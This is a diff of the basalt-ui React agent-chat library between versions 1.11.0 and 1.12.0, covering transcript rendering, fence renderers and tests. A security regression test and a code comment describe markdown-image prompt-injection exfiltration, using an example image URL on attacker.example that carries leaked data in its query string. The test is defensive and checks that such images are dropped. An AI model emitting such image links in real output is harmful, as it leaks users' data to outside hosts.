basalt-ui 1.11.0 → 1.12.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (237) hide show
  1. package/AGENTS.md +21 -21
  2. package/CHANGELOG.md +15 -0
  3. package/README.md +36 -27
  4. package/agent/rules/basalt-content.md +16 -3
  5. package/dist/agent/adapter.d.ts +146 -0
  6. package/dist/agent/adapter.d.ts.map +1 -0
  7. package/dist/agent/adapter.js +473 -0
  8. package/dist/agent/adapter.test.d.ts +2 -0
  9. package/dist/agent/adapter.test.d.ts.map +1 -0
  10. package/dist/agent/ai-sdk-transport.test.d.ts +2 -0
  11. package/dist/agent/ai-sdk-transport.test.d.ts.map +1 -0
  12. package/dist/agent/coalesce.d.ts +20 -4
  13. package/dist/agent/coalesce.d.ts.map +1 -1
  14. package/dist/agent/coalesce.js +76 -8
  15. package/dist/agent/coalesce.test.d.ts +2 -0
  16. package/dist/agent/coalesce.test.d.ts.map +1 -0
  17. package/dist/agent/foreign.test.d.ts +2 -0
  18. package/dist/agent/foreign.test.d.ts.map +1 -0
  19. package/dist/agent/id.d.ts +30 -0
  20. package/dist/agent/id.d.ts.map +1 -1
  21. package/dist/agent/id.js +16 -0
  22. package/dist/agent/id.test.d.ts +2 -0
  23. package/dist/agent/id.test.d.ts.map +1 -0
  24. package/dist/agent/index.d.ts +2 -0
  25. package/dist/agent/index.d.ts.map +1 -1
  26. package/dist/agent/index.js +3 -0
  27. package/dist/agent/merge.d.ts.map +1 -1
  28. package/dist/agent/merge.js +19 -7
  29. package/dist/agent/merge.test.d.ts +2 -0
  30. package/dist/agent/merge.test.d.ts.map +1 -0
  31. package/dist/agent/part-list.d.ts +49 -34
  32. package/dist/agent/part-list.d.ts.map +1 -1
  33. package/dist/agent/part-list.js +42 -6
  34. package/dist/agent/part-list.test.d.ts +2 -0
  35. package/dist/agent/part-list.test.d.ts.map +1 -0
  36. package/dist/agent/parts.d.ts +46 -10
  37. package/dist/agent/parts.d.ts.map +1 -1
  38. package/dist/agent/parts.js +16 -6
  39. package/dist/agent/parts.test.d.ts +2 -0
  40. package/dist/agent/parts.test.d.ts.map +1 -0
  41. package/dist/agent/thread.d.ts +14 -0
  42. package/dist/agent/thread.d.ts.map +1 -1
  43. package/dist/agent/thread.js +8 -2
  44. package/dist/agent/thread.test.d.ts +2 -0
  45. package/dist/agent/thread.test.d.ts.map +1 -0
  46. package/dist/agent/transport.test.d.ts +2 -0
  47. package/dist/agent/transport.test.d.ts.map +1 -0
  48. package/dist/agent/use-agent-stream.test.d.ts +2 -0
  49. package/dist/agent/use-agent-stream.test.d.ts.map +1 -0
  50. package/dist/agent/use-agent-thread-runs.foreign.test.d.ts +2 -0
  51. package/dist/agent/use-agent-thread-runs.foreign.test.d.ts.map +1 -0
  52. package/dist/agent/use-agent-thread-runs.resume.test.d.ts +2 -0
  53. package/dist/agent/use-agent-thread-runs.resume.test.d.ts.map +1 -0
  54. package/dist/agent/use-agent-thread-runs.test.d.ts +2 -0
  55. package/dist/agent/use-agent-thread-runs.test.d.ts.map +1 -0
  56. package/dist/agent/use-agent-thread-runs.wedge.test.d.ts +2 -0
  57. package/dist/agent/use-agent-thread-runs.wedge.test.d.ts.map +1 -0
  58. package/dist/agent-chat/composer.d.ts +130 -8
  59. package/dist/agent-chat/composer.d.ts.map +1 -1
  60. package/dist/agent-chat/composer.js +189 -23
  61. package/dist/agent-chat/composer.test.d.ts +2 -0
  62. package/dist/agent-chat/composer.test.d.ts.map +1 -0
  63. package/dist/agent-chat/index.d.ts +1 -1
  64. package/dist/agent-chat/index.d.ts.map +1 -1
  65. package/dist/agent-chat/thread-detail-panel.d.ts.map +1 -1
  66. package/dist/agent-chat/thread-detail-panel.js +1 -1
  67. package/dist/agent-chat/thread-message.d.ts.map +1 -1
  68. package/dist/agent-chat/thread-message.js +14 -3
  69. package/dist/agent-chat/thread-message.test.d.ts +2 -0
  70. package/dist/agent-chat/thread-message.test.d.ts.map +1 -0
  71. package/dist/agent-chat/thread-workspace.js +1 -1
  72. package/dist/agent-chat/tool-chip.test.d.ts +2 -0
  73. package/dist/agent-chat/tool-chip.test.d.ts.map +1 -0
  74. package/dist/charts/primitives/ChartFrame.test.d.ts +2 -0
  75. package/dist/charts/primitives/ChartFrame.test.d.ts.map +1 -0
  76. package/dist/charts/utils/domain.test.d.ts +2 -0
  77. package/dist/charts/utils/domain.test.d.ts.map +1 -0
  78. package/dist/cli/check-theme.test.d.ts +2 -0
  79. package/dist/cli/check-theme.test.d.ts.map +1 -0
  80. package/dist/cli/help.test.d.ts +2 -0
  81. package/dist/cli/help.test.d.ts.map +1 -0
  82. package/dist/cli/index.d.ts.map +1 -1
  83. package/dist/cli/init-sync.test.d.ts +2 -0
  84. package/dist/cli/init-sync.test.d.ts.map +1 -0
  85. package/dist/cli/placement-engine.test.d.ts +2 -0
  86. package/dist/cli/placement-engine.test.d.ts.map +1 -0
  87. package/dist/cli/tarball-parity.test.d.ts +2 -0
  88. package/dist/cli/tarball-parity.test.d.ts.map +1 -0
  89. package/dist/cli/template-format.test.d.ts +2 -0
  90. package/dist/cli/template-format.test.d.ts.map +1 -0
  91. package/dist/cli/template-ledger.test.d.ts +2 -0
  92. package/dist/cli/template-ledger.test.d.ts.map +1 -0
  93. package/dist/cli/tokens-css.test.d.ts +2 -0
  94. package/dist/cli/tokens-css.test.d.ts.map +1 -0
  95. package/dist/content/article-actions.test.d.ts +2 -0
  96. package/dist/content/article-actions.test.d.ts.map +1 -0
  97. package/dist/content/article-model.test.d.ts +2 -0
  98. package/dist/content/article-model.test.d.ts.map +1 -0
  99. package/dist/content/block-split.test.d.ts +2 -0
  100. package/dist/content/block-split.test.d.ts.map +1 -0
  101. package/dist/content/fence-block.d.ts +37 -10
  102. package/dist/content/fence-block.d.ts.map +1 -1
  103. package/dist/content/fence-block.js +80 -14
  104. package/dist/content/heading-components.d.ts.map +1 -1
  105. package/dist/content/heading-components.js +7 -4
  106. package/dist/content/heading-components.test.d.ts +2 -0
  107. package/dist/content/heading-components.test.d.ts.map +1 -0
  108. package/dist/content/index.d.ts +6 -3
  109. package/dist/content/index.d.ts.map +1 -1
  110. package/dist/content/index.js +5 -1
  111. package/dist/content/markdown.d.ts +101 -14
  112. package/dist/content/markdown.d.ts.map +1 -1
  113. package/dist/content/markdown.js +141 -28
  114. package/dist/content/markdown.test.d.ts +2 -0
  115. package/dist/content/markdown.test.d.ts.map +1 -0
  116. package/dist/content/prose.module.css.test.d.ts +2 -0
  117. package/dist/content/prose.module.css.test.d.ts.map +1 -0
  118. package/dist/content/sanitize.d.ts +170 -0
  119. package/dist/content/sanitize.d.ts.map +1 -0
  120. package/dist/content/sanitize.js +178 -0
  121. package/dist/content/sanitize.test.d.ts +2 -0
  122. package/dist/content/sanitize.test.d.ts.map +1 -0
  123. package/dist/content/slug.test.d.ts +2 -0
  124. package/dist/content/slug.test.d.ts.map +1 -0
  125. package/dist/dashboard/stat-card.test.d.ts +2 -0
  126. package/dist/dashboard/stat-card.test.d.ts.map +1 -0
  127. package/dist/guard/check-source.test.d.ts +2 -0
  128. package/dist/guard/check-source.test.d.ts.map +1 -0
  129. package/dist/guard/guard-hook.test.d.ts +2 -0
  130. package/dist/guard/guard-hook.test.d.ts.map +1 -0
  131. package/dist/index.d.ts +3 -3
  132. package/dist/index.d.ts.map +1 -1
  133. package/dist/index.js +9 -1
  134. package/dist/provider/index.test.d.ts +2 -0
  135. package/dist/provider/index.test.d.ts.map +1 -0
  136. package/dist/provider/lab-theme.test.d.ts +2 -0
  137. package/dist/provider/lab-theme.test.d.ts.map +1 -0
  138. package/dist/router-tanstack/multi-search-param-store.test.d.ts +2 -0
  139. package/dist/router-tanstack/multi-search-param-store.test.d.ts.map +1 -0
  140. package/dist/styles.floor.test.d.ts +2 -0
  141. package/dist/styles.floor.test.d.ts.map +1 -0
  142. package/dist/surfaces.d.ts +4 -4
  143. package/dist/surfaces.d.ts.map +1 -1
  144. package/dist/surfaces.js +12 -3
  145. package/dist/theme/border-coverage.test.d.ts +18 -0
  146. package/dist/theme/border-coverage.test.d.ts.map +1 -0
  147. package/dist/theme/contrast.test.d.ts +2 -0
  148. package/dist/theme/contrast.test.d.ts.map +1 -0
  149. package/dist/theme/density-option.test.d.ts +2 -0
  150. package/dist/theme/density-option.test.d.ts.map +1 -0
  151. package/dist/theme/density-relations.test.d.ts +2 -0
  152. package/dist/theme/density-relations.test.d.ts.map +1 -0
  153. package/dist/theme/derive-theme.test.d.ts +2 -0
  154. package/dist/theme/derive-theme.test.d.ts.map +1 -0
  155. package/dist/theme/fonts-option.test.d.ts +2 -0
  156. package/dist/theme/fonts-option.test.d.ts.map +1 -0
  157. package/dist/theme/radius-option.test.d.ts +2 -0
  158. package/dist/theme/radius-option.test.d.ts.map +1 -0
  159. package/dist/theme/radius.test.d.ts +2 -0
  160. package/dist/theme/radius.test.d.ts.map +1 -0
  161. package/dist/theme/shadow-surfaces.test.d.ts +26 -0
  162. package/dist/theme/shadow-surfaces.test.d.ts.map +1 -0
  163. package/dist/theme/spacing.test.d.ts +2 -0
  164. package/dist/theme/spacing.test.d.ts.map +1 -0
  165. package/dist/theme/use-basalt-spacing.test.d.ts +2 -0
  166. package/dist/theme/use-basalt-spacing.test.d.ts.map +1 -0
  167. package/dist/theme-lab/derive-controls.test.d.ts +2 -0
  168. package/dist/theme-lab/derive-controls.test.d.ts.map +1 -0
  169. package/dist/theme-lab/derive-state.test.d.ts +2 -0
  170. package/dist/theme-lab/derive-state.test.d.ts.map +1 -0
  171. package/dist/theme-lab/theme-lab.test.d.ts +2 -0
  172. package/dist/theme-lab/theme-lab.test.d.ts.map +1 -0
  173. package/dist/tokens/build-fonts-css.test.d.ts +2 -0
  174. package/dist/tokens/build-fonts-css.test.d.ts.map +1 -0
  175. package/dist/tokens/build-radius-css.test.d.ts +2 -0
  176. package/dist/tokens/build-radius-css.test.d.ts.map +1 -0
  177. package/dist/tokens/density.test.d.ts +2 -0
  178. package/dist/tokens/density.test.d.ts.map +1 -0
  179. package/dist/tokens/derive-radius.test.d.ts +2 -0
  180. package/dist/tokens/derive-radius.test.d.ts.map +1 -0
  181. package/dist/tokens/derive.test.d.ts +2 -0
  182. package/dist/tokens/derive.test.d.ts.map +1 -0
  183. package/dist/tokens/palette.test.d.ts +2 -0
  184. package/dist/tokens/palette.test.d.ts.map +1 -0
  185. package/dist/vite-color-mix.test.d.ts +2 -0
  186. package/dist/vite-color-mix.test.d.ts.map +1 -0
  187. package/dist/vite.test.d.ts +2 -0
  188. package/dist/vite.test.d.ts.map +1 -0
  189. package/llms.txt +6 -6
  190. package/package.json +6 -1
  191. package/src/agent/adapter.test.ts +1403 -0
  192. package/src/agent/adapter.ts +887 -0
  193. package/src/agent/ai-sdk-transport.test.ts +53 -26
  194. package/src/agent/coalesce.test.ts +202 -9
  195. package/src/agent/coalesce.ts +126 -15
  196. package/src/agent/foreign.test.ts +5 -1
  197. package/src/agent/id.test.ts +6 -2
  198. package/src/agent/id.ts +48 -0
  199. package/src/agent/index.ts +8 -0
  200. package/src/agent/merge.test.ts +87 -0
  201. package/src/agent/merge.ts +57 -10
  202. package/src/agent/part-list.test.tsx +31 -1
  203. package/src/agent/part-list.tsx +77 -29
  204. package/src/agent/parts.test.ts +121 -4
  205. package/src/agent/parts.ts +78 -17
  206. package/src/agent/thread.test.ts +75 -2
  207. package/src/agent/thread.ts +21 -1
  208. package/src/agent/use-agent-stream.test.tsx +9 -5
  209. package/src/agent/use-agent-thread-runs.foreign.test.tsx +5 -0
  210. package/src/agent/use-agent-thread-runs.resume.test.tsx +16 -11
  211. package/src/agent/use-agent-thread-runs.test.tsx +30 -17
  212. package/src/agent/use-agent-thread-runs.wedge.test.tsx +13 -7
  213. package/src/agent-chat/composer.test.tsx +924 -0
  214. package/src/agent-chat/composer.tsx +521 -52
  215. package/src/agent-chat/index.ts +1 -1
  216. package/src/agent-chat/thread-detail-panel.tsx +3 -1
  217. package/src/agent-chat/thread-message.test.tsx +141 -1
  218. package/src/agent-chat/thread-message.tsx +29 -4
  219. package/src/agent-chat/thread-workspace.tsx +1 -1
  220. package/src/cli/index.ts +0 -1
  221. package/src/cli/template-format.test.ts +2 -2
  222. package/src/content/fence-block.tsx +242 -15
  223. package/src/content/heading-components.test.tsx +65 -0
  224. package/src/content/heading-components.tsx +26 -5
  225. package/src/content/index.ts +19 -3
  226. package/src/content/markdown.test.tsx +603 -0
  227. package/src/content/markdown.tsx +355 -35
  228. package/src/content/sanitize.test.ts +659 -0
  229. package/src/content/sanitize.ts +510 -0
  230. package/src/dashboard/stat-card.test.tsx +6 -1
  231. package/src/index.ts +13 -1
  232. package/src/surfaces.ts +12 -3
  233. package/src/theme/contrast.test.ts +1 -4
  234. package/src/theme/density-relations.test.ts +4 -2
  235. package/src/theme/fonts-option.test.ts +7 -1
  236. package/src/theme/shadow-surfaces.test.ts +12 -6
  237. package/src/theme/use-basalt-spacing.test.tsx +2 -1
@@ -21,7 +21,10 @@ function withNodeEnv<T>(value: string, fn: () => T): T {
21
21
  try {
22
22
  return fn()
23
23
  } finally {
24
- process.env['NODE_ENV'] = original
24
+ // `original` may be undefined (NODE_ENV unset) — assigning undefined through the index
25
+ // signature isn't valid, so restore by deleting the key instead.
26
+ if (original === undefined) delete process.env['NODE_ENV']
27
+ else process.env['NODE_ENV'] = original
25
28
  }
26
29
  }
27
30
 
@@ -177,6 +180,143 @@ describe('finish indicator (AGENT-CHAT-SPEC.md §10)', () => {
177
180
  })
178
181
  })
179
182
 
183
+ // ── The settle fix ────────────────────────────────────────────────────────────
184
+ //
185
+ // `TextRenderer` used to hardcode `streaming`, so `Markdown` always ran in block-split mode and its
186
+ // tail block was unconditionally unsettled — a FINISHED message's last block never settled. Two
187
+ // visible symptoms, both asserted below: a trailing ```mermaid fence stayed a CodeBlock forever,
188
+ // and the last block of every finished message permanently hid its copy action.
189
+
190
+ const MERMAID_TAIL = 'intro paragraph\n\n```mermaid\ngraph TD\n A --> B\n```'
191
+ const CODE_TAIL = 'intro paragraph\n\n```notalanguage\nfinal body\n```'
192
+
193
+ function assistantMessage(text: string): ChatMessage<TranscriptPart>[] {
194
+ return [
195
+ { id: 'm1', role: 'assistant', parts: [{ id: 'm1-p1', type: 'text', text }], createdAt: 0 },
196
+ ]
197
+ }
198
+
199
+ describe('settled threading — a finished message settles its FINAL block', () => {
200
+ test('a trailing mermaid fence upgrades out of the CodeBlock', async () => {
201
+ render(
202
+ <MantineProvider>
203
+ <ThreadTranscript messages={assistantMessage(MERMAID_TAIL)} />
204
+ </MantineProvider>,
205
+ )
206
+
207
+ // MermaidDiagram renders the SVG into a role="img" container; the unsettled path renders a
208
+ // plain <pre> instead.
209
+ expect(await screen.findByRole('img')).toBeDefined()
210
+ })
211
+
212
+ test('the final block keeps its copy action', async () => {
213
+ render(
214
+ <MantineProvider>
215
+ <ThreadTranscript messages={assistantMessage(CODE_TAIL)} />
216
+ </MantineProvider>,
217
+ )
218
+
219
+ await screen.findByText('final body')
220
+ expect(screen.getByLabelText('Copy code')).toBeDefined()
221
+ })
222
+ })
223
+
224
+ describe('settled threading — a streaming message leaves its tail unsettled', () => {
225
+ test('the in-flight tail fence stays a copy-less CodeBlock', async () => {
226
+ render(
227
+ <MantineProvider>
228
+ <ThreadTranscript
229
+ messages={[]}
230
+ liveParts={[{ id: 'live-p1', type: 'text', text: MERMAID_TAIL }]}
231
+ liveStatus="streaming"
232
+ />
233
+ </MantineProvider>,
234
+ )
235
+
236
+ const code = await screen.findByText(/graph TD/)
237
+ expect(code.closest('pre')).not.toBeNull()
238
+ expect(screen.queryByRole('img')).toBeNull()
239
+ expect(screen.queryByLabelText('Copy code')).toBeNull()
240
+ })
241
+
242
+ test('the same message settles once the run stops streaming', async () => {
243
+ const liveParts: TranscriptPart[] = [{ id: 'live-p1', type: 'text', text: MERMAID_TAIL }]
244
+ const { rerender } = render(
245
+ <MantineProvider>
246
+ <ThreadTranscript messages={[]} liveParts={liveParts} liveStatus="streaming" />
247
+ </MantineProvider>,
248
+ )
249
+
250
+ await screen.findByText(/graph TD/)
251
+ expect(screen.queryByRole('img')).toBeNull()
252
+
253
+ // Same `liveParts` reference, only `liveStatus` flips — the `MessageBlock` memo comparator
254
+ // must not swallow this final transition (it compares `streaming` explicitly).
255
+ rerender(
256
+ <MantineProvider>
257
+ <ThreadTranscript messages={[]} liveParts={liveParts} liveStatus="done" />
258
+ </MantineProvider>,
259
+ )
260
+
261
+ expect(await screen.findByRole('img')).toBeDefined()
262
+ })
263
+ })
264
+
265
+ // ── Image exfiltration guard ──────────────────────────────────────────────────
266
+ //
267
+ // THIS IS A SECURITY REGRESSION TEST, NOT A RENDERING TEST. Images auto-fetch, so an off-origin
268
+ // `<img>` in model-generated markdown is a one-way prompt-injection exfiltration channel:
269
+ // `![](https://attacker.example/p.png?q=<whatever the model was told to leak>)` fires a GET the
270
+ // moment the transcript paints, with no click and nothing visible.
271
+ //
272
+ // The control is `Markdown`'s `contentTrust="untrusted"`, and it has already been lost once. The
273
+ // settle fix above changed `TextRenderer` from a hardcoded `streaming` to `streaming={!settled}`,
274
+ // and at the time `streaming` ALSO selected the image allowlist — so every FINISHED message (i.e.
275
+ // nearly the whole transcript) silently regained the open `https://` default. Trust is a property
276
+ // of WHERE THE TEXT CAME FROM; settledness is a property of when. They must never be the same prop
277
+ // again. The settled case below is the one that regressed.
278
+
279
+ const OFF_ORIGIN_IMAGE = 'https://attacker.example/pixel.png?q=leak'
280
+ const IMAGE_DOC = `![local](/assets/local.png)\n\n![probe](${OFF_ORIGIN_IMAGE})`
281
+
282
+ describe('transcript images — agent text is untrusted whether or not it has settled', () => {
283
+ async function renderTranscript(streamingTurn: boolean) {
284
+ const parts: TranscriptPart[] = [{ id: 'p1', type: 'text', text: IMAGE_DOC }]
285
+ const { container } = render(
286
+ <MantineProvider>
287
+ {streamingTurn ? (
288
+ <ThreadTranscript messages={[]} liveParts={parts} liveStatus="streaming" />
289
+ ) : (
290
+ <ThreadTranscript messages={assistantMessage(IMAGE_DOC)} />
291
+ )}
292
+ </MantineProvider>,
293
+ )
294
+ // `findByAltText` only ever matches an <img>, so `Markdown`'s Suspense text fallback cannot
295
+ // satisfy it — this waits for the real pipeline, and its success also proves same-origin
296
+ // images still render (an allowlist, not a blanket image kill).
297
+ await screen.findByAltText('local')
298
+ return container
299
+ }
300
+
301
+ test('a SETTLED assistant message does NOT render an off-origin https image', async () => {
302
+ const container = await renderTranscript(false)
303
+
304
+ expect(screen.getByAltText('local').getAttribute('src')).toBe('/assets/local.png')
305
+ // Dropped whole: no <img> element, and the attacker origin never reaches the DOM at all —
306
+ // not as a src, not as a srcset, not as text.
307
+ expect(screen.queryByAltText('probe')).toBeNull()
308
+ expect(container.querySelector('img[src^="https://"]')).toBeNull()
309
+ expect(container.innerHTML).not.toContain('attacker.example')
310
+ })
311
+
312
+ test('an in-flight assistant turn does not render one either', async () => {
313
+ const container = await renderTranscript(true)
314
+
315
+ expect(container.querySelector('img[src^="https://"]')).toBeNull()
316
+ expect(container.innerHTML).not.toContain('attacker.example')
317
+ })
318
+ })
319
+
180
320
  describe('MessageBlock memoization (AGENT-CHAT-SPEC.md §9)', () => {
181
321
  test('a streamed delta re-renders exactly one MessageBlock on a 50-message thread', () => {
182
322
  const messages = buildMessages(50)
@@ -65,12 +65,32 @@ const MICRO_LABEL_STYLE = {
65
65
 
66
66
  // ── Per-type Mantine renderers ────────────────────────────────────────────────
67
67
 
68
- function TextRenderer({ part }: { part: TextPart; index: number }): JSX.Element {
68
+ function TextRenderer({
69
+ part,
70
+ settled,
71
+ }: {
72
+ part: TextPart
73
+ index: number
74
+ settled: boolean
75
+ }): JSX.Element {
69
76
  // Markdown wraps its output in Prose (a div carrying chat-density typography). It must NOT be
70
77
  // wrapped in a Mantine `Text` (renders a `<p>`) — block elements inside a `<p>` are invalid
71
78
  // nesting that the browser auto-closes, scrambling spacing.
79
+ //
80
+ // TWO independent props, and conflating them is what broke this twice:
81
+ //
82
+ // `streaming={!settled}` is the RENDERING mode — NOT a hardcoded `streaming`. Hardcoding it kept
83
+ // `Markdown` in block-split mode forever, and its tail block is unconditionally unsettled: a
84
+ // FINISHED message ending in a ```mermaid fence rendered as a CodeBlock permanently, and the last
85
+ // block of every finished message permanently hid its copy action.
86
+ //
87
+ // `contentTrust="untrusted"` is the SECURITY policy, and it is pinned unconditionally. Transcript
88
+ // text is model-generated whether or not the run is still in flight, and images auto-fetch —
89
+ // `![](https://attacker/?q=…)` is the classic prompt-injection exfiltration channel. Letting
90
+ // `streaming` imply the policy meant every SETTLED (i.e. almost every) message silently regained
91
+ // an open `https://` image allowlist the moment the run finished.
72
92
  return (
73
- <Markdown streaming density="chat">
93
+ <Markdown streaming={!settled} contentTrust="untrusted" density="chat">
74
94
  {part.text}
75
95
  </Markdown>
76
96
  )
@@ -102,7 +122,7 @@ function ReasoningRenderer({ part }: { part: ReasoningPart; index: number }): JS
102
122
  )
103
123
  }
104
124
 
105
- // Thin adapter: PartList's per-type renderer signature is `{ part, index }`, ToolChip's is a
125
+ // Thin adapter: PartList's per-type renderer signature is `{ part, index, settled }`, ToolChip's is a
106
126
  // richer `ToolChipProps` (defaultExpanded/onApprove/onDeny) that the built-in AgentPart union has
107
127
  // no slot for — a 'tool' part reaching this path is always basalt's own six-variant union, never a
108
128
  // consumer-registered one, so there is nowhere upstream to source approve/deny handlers from at
@@ -322,7 +342,12 @@ function MessageBlockImpl({
322
342
  </Group>
323
343
  {segments.map((segment) =>
324
344
  segment.kind === 'agent' ? (
325
- <PartList key={segment.key} parts={segment.parts} components={threadPartRenderers} />
345
+ <PartList
346
+ key={segment.key}
347
+ parts={segment.parts}
348
+ components={threadPartRenderers}
349
+ settled={settled}
350
+ />
326
351
  ) : (
327
352
  <Fragment key={segment.key}>
328
353
  {segment.render({
@@ -139,7 +139,7 @@ export function ThreadWorkspace({
139
139
  <Divider color="var(--vx-divider)" />
140
140
  <Box p="sm">
141
141
  <Composer
142
- onSubmit={handleNewThread}
142
+ onSubmit={({ text }) => handleNewThread(text)}
143
143
  {...(newThreadPlaceholder !== undefined ? { placeholder: newThreadPlaceholder } : {})}
144
144
  />
145
145
  </Box>
package/src/cli/index.ts CHANGED
@@ -2240,7 +2240,6 @@ export async function guardHook(cwd: string = process.cwd()): Promise<number> {
2240
2240
  try {
2241
2241
  // Bun: Bun.stdin.text() drains stdin to a string; under Node fall back to manual drain.
2242
2242
  if (typeof (globalThis as Record<string, unknown>)['Bun'] !== 'undefined') {
2243
- // @ts-expect-error — Bun global, not in @types/bun for this import context
2244
2243
  raw = await globalThis['Bun'].stdin.text()
2245
2244
  } else {
2246
2245
  const chunks: Buffer[] = []
@@ -46,12 +46,12 @@ describe('shipped managed templates are oxfmt-clean', () => {
46
46
  expectOxfmtNoop('CLAUDE.md', filled)
47
47
  })
48
48
 
49
- it.each(RULE_NAMES)('agent/rules/basalt-%s.md (managed) round-trips unchanged', (name) => {
49
+ it.each([...RULE_NAMES])('agent/rules/basalt-%s.md (managed) round-trips unchanged', (name) => {
50
50
  const content = readFileSync(resolve(PKG_ROOT, `agent/rules/basalt-${name}.md`), 'utf8')
51
51
  expectOxfmtNoop(`basalt-${name}.md`, content)
52
52
  })
53
53
 
54
- it.each(SKILL_NAMES)('agent/skills/%s/SKILL.md (managed) round-trips unchanged', (name) => {
54
+ it.each([...SKILL_NAMES])('agent/skills/%s/SKILL.md (managed) round-trips unchanged', (name) => {
55
55
  const content = readFileSync(resolve(PKG_ROOT, `agent/skills/${name}/SKILL.md`), 'utf8')
56
56
  expectOxfmtNoop('SKILL.md', content)
57
57
  })
@@ -1,39 +1,266 @@
1
1
  /**
2
- * FenceBlock — renders a fenced code block's hast `pre` node as `CodeBlock` or `MermaidDiagram`
2
+ * FenceBlock — renders a fenced code block's hast `pre` node through the fence-renderer registry
3
3
  * (docs/CONTENT-SPEC.md §2 decision 4 / §6). Shared by every `pre` override `./markdown` builds
4
4
  * (one per streamed block, each with its own `settled` flag).
5
5
  *
6
- * `mermaid` fences render as a plain `CodeBlock` while `settled` is `false` (the in-flight
7
- * streaming tail) and upgrade to `MermaidDiagram` once the fence's block settles — no flicker, no
8
- * wasted parse pass on a still-changing diagram. Every other fenced language hides its copy
9
- * action while unsettled for the same reason (copying a still-streaming block is misleading).
6
+ * ONE mechanism, two sources: a consumer's `fenceRenderers[language]` is consulted first, then
7
+ * `BUILT_IN_FENCE_RENDERERS[language]`, then the plain `CodeBlock` fallback. `mermaid` is no longer
8
+ * a hardcoded branch — it is a built-in entry defined with `settledOnly`, exactly the helper a
9
+ * consumer uses for its own heavyweight renderer.
10
10
  *
11
- * Not part of the public surface.
11
+ * `settledOnly` renderers (mermaid included) render a plain `CodeBlock` while `settled` is `false`
12
+ * (the in-flight streaming tail) and upgrade once the fence's block settles — no flicker, no wasted
13
+ * parse pass on a still-changing diagram. Every fenced language hides its copy action while
14
+ * unsettled for the same reason (copying a still-streaming block is misleading).
15
+ *
16
+ * NEITHER a decline nor a throw may take the message down — a model-authored fence body (JSON for a
17
+ * `vega-lite` renderer, a payload for a `card` renderer, …) is routinely malformed, and this is a
18
+ * render path: the same invariant that made `spliceText` clamp instead of throw and dropped the
19
+ * runtime `assertNever` from `coalesceParts` applies here. `CodeBlock` is always a correct rendering
20
+ * of any fence, which is what makes it safe as the universal fallback:
21
+ * - A renderer returns `undefined` to DECLINE ("I cannot render this, use the default"). `null` is
22
+ * a different, deliberate result — "render nothing" — and is passed through unchanged.
23
+ * - A renderer that THROWS is contained two different ways depending on where the throw happens —
24
+ * see `renderFenceSafely` (a throw from the renderer function itself) and `FenceRenderBoundary` (a
25
+ * throw from a component the renderer merely returns) below — and both fall back to `CodeBlock`
26
+ * with a once-per-fence dev warning (`warnFenceRendererThrew`).
27
+ *
28
+ * `FenceBlock` itself is not part of the public surface; `FenceRenderer`/`FenceRenderContext`/
29
+ * `settledOnly` are, re-exported through `./markdown` (the props that carry them live on
30
+ * `MarkdownProps`).
12
31
  */
32
+ import { Component, useRef } from 'react'
33
+ import type { ReactNode } from 'react'
13
34
  import type { Element } from 'hast'
14
35
  import { CodeBlock } from './code-block'
15
36
  import { extractFenceInfo } from './markdown-hast'
16
37
  import { MermaidDiagram } from './mermaid'
17
38
 
39
+ // ── Public registry types ─────────────────────────────────────────────────────────────────────
40
+
41
+ export type FenceRenderContext = {
42
+ /** The fence body, without the surrounding fence markers. */
43
+ readonly code: string
44
+ /** The info string's first word (` ```ts title="x" ` → `'ts'`), absent on a bare fence. */
45
+ readonly language?: string
46
+ /** Raw meta string after the language on the opening fence line (`'title="x"'` above). */
47
+ readonly meta?: string
48
+ /** Parsed `title="…"` out of `meta` — the filename tab `CodeBlock` renders. */
49
+ readonly title?: string
50
+ /** `false` only for the in-flight tail block of a streaming message. Monotone: never true→false. */
51
+ readonly settled: boolean
52
+ }
53
+
54
+ /**
55
+ * `undefined` DECLINES — the fence falls back to the default `CodeBlock` rendering, no different
56
+ * from an unclaimed language. `null` is NOT a decline; it is a deliberate "render nothing" result
57
+ * and is used as-is. A renderer that THROWS is also contained and falls back to `CodeBlock` (see the
58
+ * module doc above) — no renderer needs its own try/parse/fallback scaffolding to survive malformed,
59
+ * model-authored fence bodies.
60
+ */
61
+ export type FenceRenderer = (ctx: FenceRenderContext) => ReactNode
62
+
63
+ /** Fence renderers keyed by language. */
64
+ export type FenceRenderers = Readonly<Record<string, FenceRenderer>>
65
+
66
+ /** The registry's terminal fallback — also what an unsettled `settledOnly` renderer shows. */
67
+ const defaultFenceRenderer: FenceRenderer = ({ code, language, title, settled }) => (
68
+ <CodeBlock
69
+ code={code}
70
+ showCopy={settled}
71
+ {...(language !== undefined && { language })}
72
+ {...(title !== undefined && { title })}
73
+ />
74
+ )
75
+
76
+ /**
77
+ * Wraps a renderer that is only worth running on finished text: renders the plain `CodeBlock`
78
+ * while the fence is still streaming, then `render` once its block settles. The built-in `mermaid`
79
+ * entry IS this — a consumer's own heavyweight fence (a chart spec, a diagram DSL) wants the same
80
+ * deal.
81
+ *
82
+ * @example
83
+ * import { settledOnly } from 'basalt-ui/content'
84
+ *
85
+ * <Markdown fenceRenderers={{ vega: settledOnly(({ code }) => <VegaChart spec={code} />) }}>
86
+ */
87
+ export function settledOnly(render: FenceRenderer): FenceRenderer {
88
+ return (ctx) => (ctx.settled ? render(ctx) : defaultFenceRenderer(ctx))
89
+ }
90
+
91
+ /** basalt's own fence renderers. A consumer entry for the same key wins over these. */
92
+ export const BUILT_IN_FENCE_RENDERERS: FenceRenderers = {
93
+ mermaid: settledOnly(({ code }) => <MermaidDiagram code={code} />),
94
+ }
95
+
96
+ // ── FenceBlock ────────────────────────────────────────────────────────────────────────────────
97
+
98
+ /**
99
+ * The raw meta string lives on the `code` child's `data.meta` (mdast-util-to-hast puts it there,
100
+ * never on the surrounding `pre`). `extractFenceInfo` parses `title="…"` out of it but does not
101
+ * surface the raw string, and widening `FenceInfo` is not this module's call — so read it here.
102
+ */
103
+ function extractFenceMeta(preNode: Element): string | undefined {
104
+ const codeNode = preNode.children.find(
105
+ (child): child is Element => child.type === 'element' && child.tagName === 'code',
106
+ )
107
+ const data = codeNode?.data as { meta?: string } | undefined
108
+ return data?.meta
109
+ }
110
+
18
111
  export type FenceBlockProps = {
19
112
  readonly node?: Element
20
113
  readonly settled: boolean
114
+ /** Consumer overrides, consulted BEFORE `BUILT_IN_FENCE_RENDERERS`. */
115
+ readonly renderers?: FenceRenderers
116
+ }
117
+
118
+ /**
119
